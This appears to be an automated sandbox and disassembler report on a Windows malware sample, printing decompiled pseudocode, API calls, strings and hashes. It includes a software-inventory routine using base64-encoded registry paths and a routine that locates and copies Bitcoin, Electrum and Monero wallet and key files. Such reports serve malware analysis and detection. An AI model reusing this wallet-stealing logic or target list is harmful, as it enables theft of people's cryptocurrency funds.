API ID: AddressLibraryLoadProc$CommandE4513FileLineModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 3826790382-1825016774
Opcode ID: 3d9eec783293d59a3d19ed7c8a3d3112027b3d4e0ceab59f3a5bef01d649876d
Instruction ID: 15232c232ae21084946ce838b98eef105223b8b68f92314a8400df0ccc42bf71
Opcode Fuzzy Hash: 3d9eec783293d59a3d19ed7c8a3d3112027b3d4e0ceab59f3a5bef01d649876d
Instruction Fuzzy Hash: CF313AB1A04309AEDB00EBE5CC42F9EBBECAF49704F500576F514F71D1EA78AA048B58

Uniqueness

Uniqueness Score: 100.00%

Function 0041564C, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 305
registryUNIQUE

C-Code - Quality: 51%

			E0041564C(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v1009;
				char _v1016;
				intOrPtr _v1020;
				char _v1024;
				char _v1028;
				char _v1032;
				char _v1036;
				char _v1040;
				char _v1044;
				char _v1048;
				char _v1052;
				char _v1056;
				char _v1060;
				char _v1064;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1080;
				char _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				char _v1100;
				char _v1104;
				char _v1108;
				char _v1112;
				char _v1116;
				char _v1120;
				char _v1124;
				char _v1128;
				char _v1132;
				char _v1136;
				char _v1140;
				char _v1144;
				char _v1148;
				void* _t123;
				void* _t144;
				void* _t178;
				void* _t199;
				intOrPtr* _t262;
				void* _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;
				intOrPtr _t318;
				char* _t329;
				int _t331;
				int _t332;
				intOrPtr _t334;
				intOrPtr _t335;

				_t334 = _t335;
				_t263 = 0x8f;
				do {
					_push(0);
					_push(0);
					_t263 = _t263 - 1;
				} while (_t263 != 0);
				_t262 = __eax;
				_t329 =  &_v1009;
				_push(_t334);
				_push(0x415b6e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t335;
				E004034E4(__eax);
				_t331 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1016, _t329, 0);
				RegOpenKeyExA(0x80000002, E00403990(_v1016), 0, 0x20019,  &_v8);
				while(RegEnumKeyA(_v8, _t331, _t329, 0x3e9) == 0) {
					E00403D88( &_v1024,  *_t262);
					_push(_v1024);
					_push(0);
					_push( &_v1028);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1036, _t329, _t331);
					E00403CF4( &_v1032, E00403990(_v1036));
					_push(_v1032);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1044, _t329, _t331);
					_push( &_v1044);
					E00403748( &_v1048, 0x3e9, _t329);
					_pop(_t123);
					E00403798(_t123, _v1048);
					E00403CF4( &_v1040, E00403990(_v1044));
					_pop(_t265);
					E004075C0(0x80000002, _t262, _t265, _v1040);
					_push(_v1028);
					_push(0x415c44);
					_push(0);
					_push( &_v1052);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1060, _t329, _t331);
					E00403CF4( &_v1056, E00403990(_v1060));
					_push(_v1056);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1068, _t329, _t331);
					_push( &_v1068);
					E00403748( &_v1072, 0x3e9, _t329);
					_pop(_t144);
					E00403798(_t144, _v1072);
					E00403CF4( &_v1064, E00403990(_v1068));
					_pop(_t267);
					E004075C0(0x80000002, _t262, _t267, _v1064);
					_push(_v1052);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1020);
					_t331 = _t331 + 1;
				}
				_t332 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1076, _t329, 0);
				RegOpenKeyExA(0x80000001, E00403990(_v1076), 0, 0x20019,  &_v8);
				while(RegEnumKeyA(_v8, _t332, _t329, 0x3e9) == 0) {
					E00403D88( &_v1084,  *_t262);
					_push(_v1084);
					_push(0);
					_push( &_v1088);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1096, _t329, _t332);
					E00403CF4( &_v1092, E00403990(_v1096));
					_push(_v1092);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1104, _t329, _t332);
					_push( &_v1104);
					E00403748( &_v1108, 0x3e9, _t329);
					_pop(_t178);
					E00403798(_t178, _v1108);
					E00403CF4( &_v1100, E00403990(_v1104));
					_pop(_t269);
					E004075C0(0x80000001, _t262, _t269, _v1100);
					_push(_v1088);
					_push(0x415c44);
					_push(0);
					_push( &_v1112);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1120, _t329, _t332);
					E00403CF4( &_v1116, E00403990(_v1120));
					_push(_v1116);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1128, _t329, _t332);
					_push( &_v1128);
					E00403748( &_v1132, 0x3e9, _t329);
					_pop(_t199);
					E00403798(_t199, _v1132);
					E00403CF4( &_v1124, E00403990(_v1128));
					_pop(_t271);
					E004075C0(0x80000001, _t262, _t271, _v1124);
					_push(_v1112);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1080);
					_t332 = _t332 + 1;
				}
				E00403D88( &_v1140,  *_t262);
				E0040717C(_v1140, _t262, 0x415c78, L"()\r\n",  &_v1136);
				E0040377C(_t262, _v1136);
				E00403D88( &_v1148,  *_t262);
				E0040717C(_v1148, _t262, 0x415c78, L"\r\n\r\n",  &_v1144);
				E0040377C(_t262, _v1144);
				_pop(_t318);
				 *[fs:eax] = _t318;
				_push(E00415B78);
				E00403BF4( &_v1148, 4);
				E00403508( &_v1132, 2);
				E00403BDC( &_v1124);
				E004034E4( &_v1120);
				E00403BF4( &_v1116, 2);
				E00403508( &_v1108, 2);
				E00403BDC( &_v1100);
				E004034E4( &_v1096);
				E00403BF4( &_v1092, 4);
				E00403508( &_v1076, 3);
				E00403BDC( &_v1064);
				E004034E4( &_v1060);
				E00403BF4( &_v1056, 2);
				E00403508( &_v1048, 2);
				E00403BDC( &_v1040);
				E004034E4( &_v1036);
				E00403BF4( &_v1032, 4);
				return E004034E4( &_v1016);
			}

0x0041564d
0x0041564f
0x00415654
0x00415654
0x00415656
0x00415658
0x00415658
0x0041565e
0x00415660
0x00415668
0x00415669
0x0041566e
0x00415671
0x00415676
0x0041567b
0x00415693
0x004156a9
0x00415826
0x004156bb
0x004156c0
0x004156c6
0x004156ce
0x004156da
0x004156f2
0x004156fd
0x00415709
0x00415714
0x00415722
0x0041572d
0x0041572e
0x00415746
0x00415756
0x00415757
0x0041575c
0x00415762
0x00415767
0x0041576f
0x0041577b
0x00415793
0x0041579e
0x004157aa
0x004157b5
0x004157c3
0x004157ce
0x004157cf
0x004157e7
0x004157f7
0x004157f8
0x004157fd
0x00415803
0x00415813
0x00415820
0x00415825
0x00415825
0x0041583e
0x00415856
0x0041586c
0x004159e9
0x0041587e
0x00415883
0x00415889
0x00415891
0x0041589d
0x004158b5
0x004158c0
0x004158cc
0x004158d7
0x004158e5
0x004158f0
0x004158f1
0x00415909
0x00415919
0x0041591a
0x0041591f
0x00415925
0x0041592a
0x00415932
0x0041593e
0x00415956
0x00415961
0x0041596d
0x00415978
0x00415986
0x00415991
0x00415992
0x004159aa
0x004159ba
0x004159bb
0x004159c0
0x004159c6
0x004159d6
0x004159e3
0x004159e8
0x004159e8
0x00415a10
0x00415a25
0x00415a32
0x00415a46
0x00415a5b
0x00415a68
0x00415a6f
0x00415a72
0x00415a75
0x00415a85
0x00415a95
0x00415aa0
0x00415aab
0x00415abb
0x00415acb
0x00415ad6
0x00415ae1
0x00415af1
0x00415b01
0x00415b0c
0x00415b17
0x00415b27
0x00415b37
0x00415b42
0x00415b4d
0x00415b5d
0x00415b6d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A232,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416C15,00000001), ref: 004156A9
RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 00415831
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A232,0041A232,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==, xrefs: 00415704, 004157A5, 004158C7, 00415968
, xrefs: 00415A56
(), xrefs: 00415A20
RGlzcGxheU5hbWU=, xrefs: 004156D5, 00415898
), xrefs: 00415803, 004159C6
RGlzcGxheVZlcnNpb24=, xrefs: 00415776, 00415939
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs, xrefs: 0041568E, 00415851

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513EnumOpen
String ID: $()$)$RGlzcGxheU5hbWU=$RGlzcGxheVZlcnNpb24=$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==
API String ID: 3572939831-3013244427
Opcode ID: 33c7c3e8d6eb8059c872940c2d8316039c9b37019feb5c0d746b20dabd8d6582
Instruction ID: c01df635abeadf6e6837e62572b2515f3de099e5a3d6091bc8c8e2951dea1457
Opcode Fuzzy Hash: 33c7c3e8d6eb8059c872940c2d8316039c9b37019feb5c0d746b20dabd8d6582
Instruction Fuzzy Hash: 94C1F5B5A001189BCB11EB55CC41BCEB7BDAB84305F5045FBB608B7282DA78AF858F5D

Uniqueness

Uniqueness Score: 100.00%

Function 00401934, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 62
UNIQUE

C-Code - Quality: 71%

			E00401934() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x41c5ac == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00401A0A);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x41c035 != 0) {
						_push("�[0");
						L004011CC();
					}
					 *0x41c5ac = 0;
					_t3 =  *0x41c60c; // 0x306428
					LocalFree(_t3);
					 *0x41c60c = 0;
					_t19 =  *0x41c5d4; // 0x307a5c
					while(_t19 != 0x41c5d4) {
						VirtualFree( *(_t19 + 8), 0, 0x8000);
						_t19 =  *_t19;
					}
					E00401234(0x41c5d4);
					E00401234(0x41c5e4);
					E00401234(0x41c610);
					_t14 =  *0x41c5cc; // 0x307428
					while(_t14 != 0) {
						 *0x41c5cc =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x41c5cc; // 0x307428
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x401a11);
					if( *0x41c035 != 0) {
						_push("�[0");
						L004011D4();
					}
					_push("�[0");
					L004011DC();
					return 0;
				}
			}

0x00401935
0x0040193f
0x00401a13
0x00401945
0x00401947
0x00401948
0x0040194d
0x00401950
0x0040195a
0x0040195c
0x00401961
0x00401961
0x00401966
0x0040196d
0x00401973
0x0040197a
0x0040197f
0x00401999
0x00401992
0x00401997
0x00401997
0x004019a6
0x004019b0
0x004019ba
0x004019bf
0x004019c6
0x004019ca
0x004019d1
0x004019d6
0x004019db
0x004019e1
0x004019e4
0x004019e7
0x004019f3
0x004019f5
0x004019fa
0x004019fa
0x004019ff
0x00401a04
0x00401a09
0x00401a09

APIs

RtlEnterCriticalSection.KERNEL32([0,00000000,00401A0A), ref: 00401961
LocalFree.KERNEL32(00306428,00000000,00401A0A), ref: 00401973
VirtualFree.KERNEL32(?,00000000,00008000,00306428,00000000,00401A0A), ref: 00401992
LocalFree.KERNEL32(00307428,?,00000000,00008000,00306428,00000000,00401A0A), ref: 004019D1
RtlLeaveCriticalSection.KERNEL32([0,00401A11,00306428,00000000,00401A0A), ref: 004019FA
RtlDeleteCriticalSection.KERNEL32([0,00401A11,00306428,00000000,00401A0A), ref: 00401A04

Strings

\z0, xrefs: 0040197F, 00401999, 004019A1
,z0, xrefs: 004019B5
[0, xrefs: 0040195C, 004019F5, 004019FF
(d0, xrefs: 0040196D, 0040197A
(t0, xrefs: 004019BF, 004019CA, 004019D6

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: (d0$(t0$,z0$\z0$[0
API String ID: 3782394904-1664908662
Opcode ID: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction ID: f5b3729ab89c308c15893b8da70c4d7314be5901088e834fcff69d5c90a64892
Opcode Fuzzy Hash: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction Fuzzy Hash: F11193B17843907ED715AB669CD1B927B969745708F50807BF100BA2F1C73DA840CF5D

Uniqueness

Uniqueness Score: 100.00%

Function 00414DE8, Relevance: 19.1, Strings: 15, Instructions: 345
UNIQUE

C-Code - Quality: 41%

			E00414DE8(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				intOrPtr _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				intOrPtr _v648;
				char _v652;
				char _v656;
				intOrPtr _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				intOrPtr _v688;
				char _v692;
				intOrPtr _v696;
				char _v700;
				char _v704;
				intOrPtr _v708;
				char _v712;
				char _v716;
				intOrPtr _v720;
				char _v724;
				char _v728;
				char _v732;
				intOrPtr _v736;
				char _v740;
				char _v744;
				char _v748;
				char _v752;
				char _v756;
				intOrPtr* _t139;
				intOrPtr* _t157;
				intOrPtr* _t160;
				void* _t207;
				void* _t218;
				void* _t280;
				void* _t281;
				intOrPtr _t310;
				void* _t323;
				void* _t332;
				void* _t337;
				void* _t343;
				void* _t349;
				void* _t355;
				intOrPtr* _t357;
				char* _t359;
				intOrPtr _t361;
				intOrPtr _t362;

				_t361 = _t362;
				_t281 = 0x5e;
				do {
					_push(0);
					_push(0);
					_t281 = _t281 - 1;
				} while (_t281 != 0);
				_v8 = __eax;
				E00404150( &_v8);
				_t359 =  &_v612;
				_t357 =  *0x41b2c4; // 0x41b0b0
				 *[fs:eax] = _t362;
				E004062FC(L"%APPDATA%\\",  &_v12, 0);
				E00403E14( &_v616, 0x415414, _v12, 0);
				_t139 = E0041B2D8; // 0x41c6b4
				_t280 =  *((intOrPtr*)( *_t139))(E00403D98(_v616), _t359,  *[fs:eax], 0x4153e2, _t361, __edi, __esi, __ebx);
				do {
					_push(_v12);
					_push(E00415420);
					E00403D6C( &_v624, 0x104, _t359 + 0x2c);
					_push(_v624);
					_push(E00415420);
					_push(L".wallet");
					E00403E78();
					if(E0040776C(_v620, _t280, 0x104) != 0) {
						_push(_v8);
						_push(E00415420);
						E00403D6C( &_v636, 0x104, _t359 + 0x2c);
						_push(_v636);
						_push(L"\\.wallet");
						E00403E78();
						E0040377C( &_v628, _v632);
						_push(_v628);
						_push(_v12);
						_push(E00415420);
						E00403D6C( &_v644, 0x104, _t359 + 0x2c);
						_push(_v644);
						_push(E00415420);
						_push(L".wallet");
						E00403E78();
						_pop(_t355);
						E0040E79C(_v640, _t280, _t355, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_push(_v12);
					_push(E00415420);
					E00403D6C( &_v652, 0x104, _t359 + 0x2c);
					_push(_v652);
					_push(E00415420);
					_push(L"wallet.dat");
					E00403E78();
					if(E0040776C(_v648, _t280, 0x104) != 0) {
						_push(_v8);
						_push(E00415420);
						E00403D6C( &_v664, 0x104, _t359 + 0x2c);
						_push(_v664);
						_push(L"\\wallet.dat");
						E00403E78();
						E0040377C( &_v656, _v660);
						_push(_v656);
						_push(_v12);
						_push(E00415420);
						E00403D6C( &_v672, 0x104, _t359 + 0x2c);
						_push(_v672);
						_push(E00415420);
						_push(L"wallet.dat");
						E00403E78();
						_pop(_t349);
						E0040E79C(_v668, _t280, _t349, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_push(_v12);
					_push(E00415420);
					E00403D6C( &_v680, 0x104, _t359 + 0x2c);
					_push(_v680);
					_push(E00415420);
					_push(L"electrum.dat");
					E00403E78();
					if(E0040776C(_v676, _t280, 0x104) != 0) {
						_push(_v8);
						_push(E00415420);
						E00403D6C( &_v692, 0x104, _t359 + 0x2c);
						_push(_v692);
						_push(L"\\electrum.dat");
						E00403E78();
						E0040377C( &_v684, _v688);
						_push(_v684);
						_push(_v12);
						_push(E00415420);
						E00403D6C( &_v700, 0x104, _t359 + 0x2c);
						_push(_v700);
						_push(E00415420);
						_push(L"electrum.dat");
						E00403E78();
						_pop(_t343);
						E0040E79C(_v696, _t280, _t343, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_push(_t359);
					_push(_t280);
					_t157 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t157))() != 0);
				_t160 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t160))(_t280);
				_t286 = L"wallet_path";
				E004075C0(0x80000001, _t280, L"wallet_path", L"Software\\monero-project\\monero-core",  &_v16, 0);
				if(E00403DA8(_v16) > 2) {
					_t218 = E0040776C(_v16, _t280, L"wallet_path");
					_t373 = _t218;
					if(_t218 != 0) {
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, L"wallet_path",  &_v712, _t359, _t373);
						_push(_v712);
						E00403E78();
						E0040377C( &_v704, _v708);
						E0040E79C(_v16, _t280, _v704, _t357, _t359);
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, _t286,  &_v724, _t359, _t373);
						_push(_v724);
						_push(L".address.txt");
						E00403E78();
						E0040377C( &_v716, _v720);
						_push(_v716);
						E00403E14( &_v728, L".address.txt", _v16, _t373);
						_pop(_t332);
						E0040E79C(_v728, _t280, _t332, _t357, _t359);
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, L".address.txt",  &_v740, _t359, _t373);
						_push(_v740);
						_push(L".keys");
						E00403E78();
						E0040377C( &_v732, _v736);
						_push(_v732);
						E00403E14( &_v744, L".keys", _v16, _t373);
						_pop(_t337);
						E0040E79C(_v744, _t280, _t337, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
				}
				E004075C0(0x80000001, _t280, L"strDataDir", L"Software\\Bitcoin\\Bitcoin-Qt",  &_v20, 0);
				if(E00403DA8(_v20) > 2) {
					_t207 = E0040776C(_v20, _t280, L"strDataDir");
					_t376 = _t207;
					if(_t207 != 0) {
						E00403E14( &_v752, L"\\BitcoinCore_custom\\wallet.dat", _v8, _t376);
						E0040377C( &_v748, _v752);
						_push(_v748);
						E00403E14( &_v756, L"\\wallet.dat", _v20, _t376);
						_pop(_t323);
						E0040E79C(_v756, _t280, _t323, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
				}
				_pop(_t310);
				 *[fs:eax] = _t310;
				_push(E004153EC);
				E00403BF4( &_v756, 2);
				E004034E4( &_v748);
				E00403BF4( &_v744, 3);
				E004034E4( &_v732);
				E00403BF4( &_v728, 3);
				E004034E4( &_v716);
				E00403BF4( &_v712, 2);
				E004034E4( &_v704);
				E00403BF4( &_v700, 4);
				E004034E4( &_v684);
				E00403BF4( &_v680, 6);
				E004034E4( &_v656);
				E00403BF4( &_v652, 6);
				E004034E4( &_v628);
				E00403BF4( &_v624, 3);
				return E00403BF4( &_v20, 4);
			}

0x00414de9
0x00414deb
0x00414df0
0x00414df0
0x00414df2
0x00414df4
0x00414df4
0x00414dfa
0x00414e00
0x00414e05
0x00414e0b
0x00414e1c
0x00414e27
0x00414e3b
0x00414e4c
0x00414e55
0x00414e57
0x00414e57
0x00414e5a
0x00414e6d
0x00414e72
0x00414e78
0x00414e7d
0x00414e8d
0x00414e9f
0x00414ea5
0x00414ea8
0x00414ebb
0x00414ec0
0x00414ec6
0x00414ed6
0x00414ee7
0x00414ef2
0x00414ef3
0x00414ef6
0x00414f09
0x00414f0e
0x00414f14
0x00414f19
0x00414f29
0x00414f34
0x00414f35
0x00414f3a
0x00414f3a
0x00414f3c
0x00414f3f
0x00414f52
0x00414f57
0x00414f5d
0x00414f62
0x00414f72
0x00414f84
0x00414f8a
0x00414f8d
0x00414fa0
0x00414fa5
0x00414fab
0x00414fbb
0x00414fcc
0x00414fd7
0x00414fd8
0x00414fdb
0x00414fee
0x00414ff3
0x00414ff9
0x00414ffe
0x0041500e
0x00415019
0x0041501a
0x0041501f
0x0041501f
0x00415021
0x00415024
0x00415037
0x0041503c
0x00415042
0x00415047
0x00415057
0x00415069
0x0041506f
0x00415072
0x00415085
0x0041508a
0x00415090
0x004150a0
0x004150b1
0x004150bc
0x004150bd
0x004150c0
0x004150d3
0x004150d8
0x004150de
0x004150e3
0x004150f3
0x004150fe
0x004150ff
0x00415104
0x00415104
0x00415106
0x00415107
0x00415108
0x00415111
0x0041511a
0x00415121
0x00415129
0x00415138
0x00415148
0x00415151
0x00415156
0x00415158
0x0041515e
0x00415161
0x0041516f
0x00415174
0x00415185
0x00415196
0x004151a4
0x004151a9
0x004151ac
0x004151ba
0x004151bf
0x004151c5
0x004151d5
0x004151e6
0x004151f1
0x00415200
0x0041520b
0x0041520c
0x00415211
0x00415214
0x00415222
0x00415227
0x0041522d
0x0041523d
0x0041524e
0x00415259
0x00415268
0x00415273
0x00415274
0x00415279
0x00415279
0x00415158
0x00415290
0x004152a0
0x004152a5
0x004152aa
0x004152ac
0x004152bc
0x004152cd
0x004152d8
0x004152e7
0x004152f2
0x004152f3
0x004152f8
0x004152f8
0x004152ac
0x004152fc
0x004152ff
0x00415302
0x00415312
0x0041531d
0x0041532d
0x00415338
0x00415348
0x00415353
0x00415363
0x0041536e
0x0041537e
0x00415389
0x00415399
0x004153a4
0x004153b4
0x004153bf
0x004153cf
0x004153e1

Strings

wallet.dat, xrefs: 00414F62, 00414FFE
wallet_path, xrefs: 00415129
\Monero\, xrefs: 00415161, 004151AC, 00415214
\.wallet, xrefs: 00414EC6
\wallet.dat, xrefs: 00414FAB, 004152DF
%APPDATA%\, xrefs: 00414E22
strDataDir, xrefs: 00415281
.address.txt, xrefs: 004151C5, 004151F8
\BitcoinCore_custom\wallet.dat, xrefs: 004152B4
Software\Bitcoin\Bitcoin-Qt, xrefs: 00415286
\electrum.dat, xrefs: 00415090
electrum.dat, xrefs: 00415047, 004150E3
.wallet, xrefs: 00414E7D, 00414F19
.keys, xrefs: 0041522D, 00415260
Software\monero-project\monero-core, xrefs: 0041512E

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$CopyDeleteE4513E465
String ID: %APPDATA%\$.address.txt$.keys$.wallet$Software\Bitcoin\Bitcoin-Qt$Software\monero-project\monero-core$\.wallet$\BitcoinCore_custom\wallet.dat$\Monero\$\electrum.dat$\wallet.dat$electrum.dat$strDataDir$wallet.dat$wallet_path
API String ID: 782476571-3271017084
Opcode ID: 234aac1202422634d5a7e178e828f69dcda1e26e33b78769445ddd0b0467d19d
Instruction ID: 95ee1d834714e2087f8886ecebf4670be21e5c77651e4d87cbacd6f436815c28
Opcode Fuzzy Hash: 234aac1202422634d5a7e178e828f69dcda1e26e33b78769445ddd0b0467d19d
Instruction Fuzzy Hash: B2E11C34A005199BCB10EB51DC86BDDB7BAEF88305F6081F7A50877291DB78AF858F58

Uniqueness

Uniqueness Score: 100.00%

Function 00402668, Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 109
COMMON

C-Code - Quality: 100%

			E00402668(CHAR* __eax, intOrPtr* __edx) {
				char _t5;
				char _t6;
				CHAR* _t7;
				char _t9;
				CHAR* _t11;
				char _t14;
				CHAR* _t15;
				char _t17;
				CHAR* _t19;
				CHAR* _t22;
				CHAR* _t23;
				CHAR* _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;
				void* _t36;

				_t34 = __edx;
				_t22 = __eax;
				while(1) {
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L4:
					if( *_t22 != 0x22 || _t22[1] != 0x22) {
						_t36 = 0;
						_t32 = _t22;
						while(1) {
							_t6 =  *_t22;
							if(_t6 <= 0x20) {
								break;
							}
							if(_t6 != 0x22) {
								_t7 = CharNextA(_t22);
								_t36 = _t36 + _t7 - _t22;
								_t22 = _t7;
								continue;
							}
							_t22 = CharNextA(_t22);
							while(1) {
								_t9 =  *_t22;
								if(_t9 == 0 || _t9 == 0x22) {
									break;
								}
								_t11 = CharNextA(_t22);
								_t36 = _t36 + _t11 - _t22;
								_t22 = _t11;
							}
							if( *_t22 != 0) {
								_t22 = CharNextA(_t22);
							}
						}
						E00403B1C(_t34, _t36);
						_t23 = _t32;
						_t33 =  *_t34;
						_t35 = 0;
						while(1) {
							_t14 =  *_t23;
							if(_t14 <= 0x20) {
								break;
							}
							if(_t14 != 0x22) {
								_t15 = CharNextA(_t23);
								if(_t15 <= _t23) {
									continue;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t15 > _t23);
								continue;
							}
							_t23 = CharNextA(_t23);
							while(1) {
								_t17 =  *_t23;
								if(_t17 == 0 || _t17 == 0x22) {
									break;
								}
								_t19 = CharNextA(_t23);
								if(_t19 <= _t23) {
									continue;
								} else {
									goto L21;
								}
								do {
									L21:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t19 > _t23);
							}
							if( *_t23 != 0) {
								_t23 = CharNextA(_t23);
							}
						}
						return _t23;
					} else {
						_t22 =  &(_t22[2]);
						continue;
					}
				}
			}

0x0040266c
0x0040266e
0x0040267a
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x00402684
0x00402687
0x00402694
0x00402696
0x004026dd
0x004026dd
0x004026e1
0x00000000
0x00000000
0x0040269c
0x004026d0
0x004026d9
0x004026db
0x00000000
0x004026db
0x004026a4
0x004026b6
0x004026b6
0x004026ba
0x00000000
0x00000000
0x004026a9
0x004026b2
0x004026b4
0x004026b4
0x004026c3
0x004026cb
0x004026cb
0x004026c3
0x004026e7
0x004026ec
0x004026ee
0x004026f0
0x00402745
0x00402745
0x00402749
0x00000000
0x00000000
0x004026f6
0x00402731
0x00402738
0x00000000
0x00000000
0x00000000
0x00000000
0x0040273a
0x0040273a
0x0040273c
0x0040273f
0x00402740
0x00402741
0x00000000
0x0040273a
0x004026fe
0x00402717
0x00402717
0x0040271b
0x00000000
0x00000000
0x00402703
0x0040270a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040270c
0x0040270c
0x0040270e
0x00402711
0x00402712
0x00402713
0x0040270c
0x00402724
0x0040272c
0x0040272c
0x00402724
0x00402751
0x0040268f
0x0040268f
0x00000000
0x0040268f
0x00402687

APIs

CharNextA.USER32(00000000), ref: 00402673
CharNextA.USER32(00000000), ref: 0040269F
CharNextA.USER32(00000000), ref: 004026A9
CharNextA.USER32(00000000), ref: 004026C6
CharNextA.USER32(00000000), ref: 004026D0
CharNextA.USER32(00000000), ref: 004026F9
CharNextA.USER32(00000000), ref: 00402703
CharNextA.USER32(00000000), ref: 00402727
CharNextA.USER32(00000000), ref: 00402731

Strings

", xrefs: 00402689
", xrefs: 00402684

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CharNext
String ID: "$"
API String ID: 3213498283-3758156766
Opcode ID: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
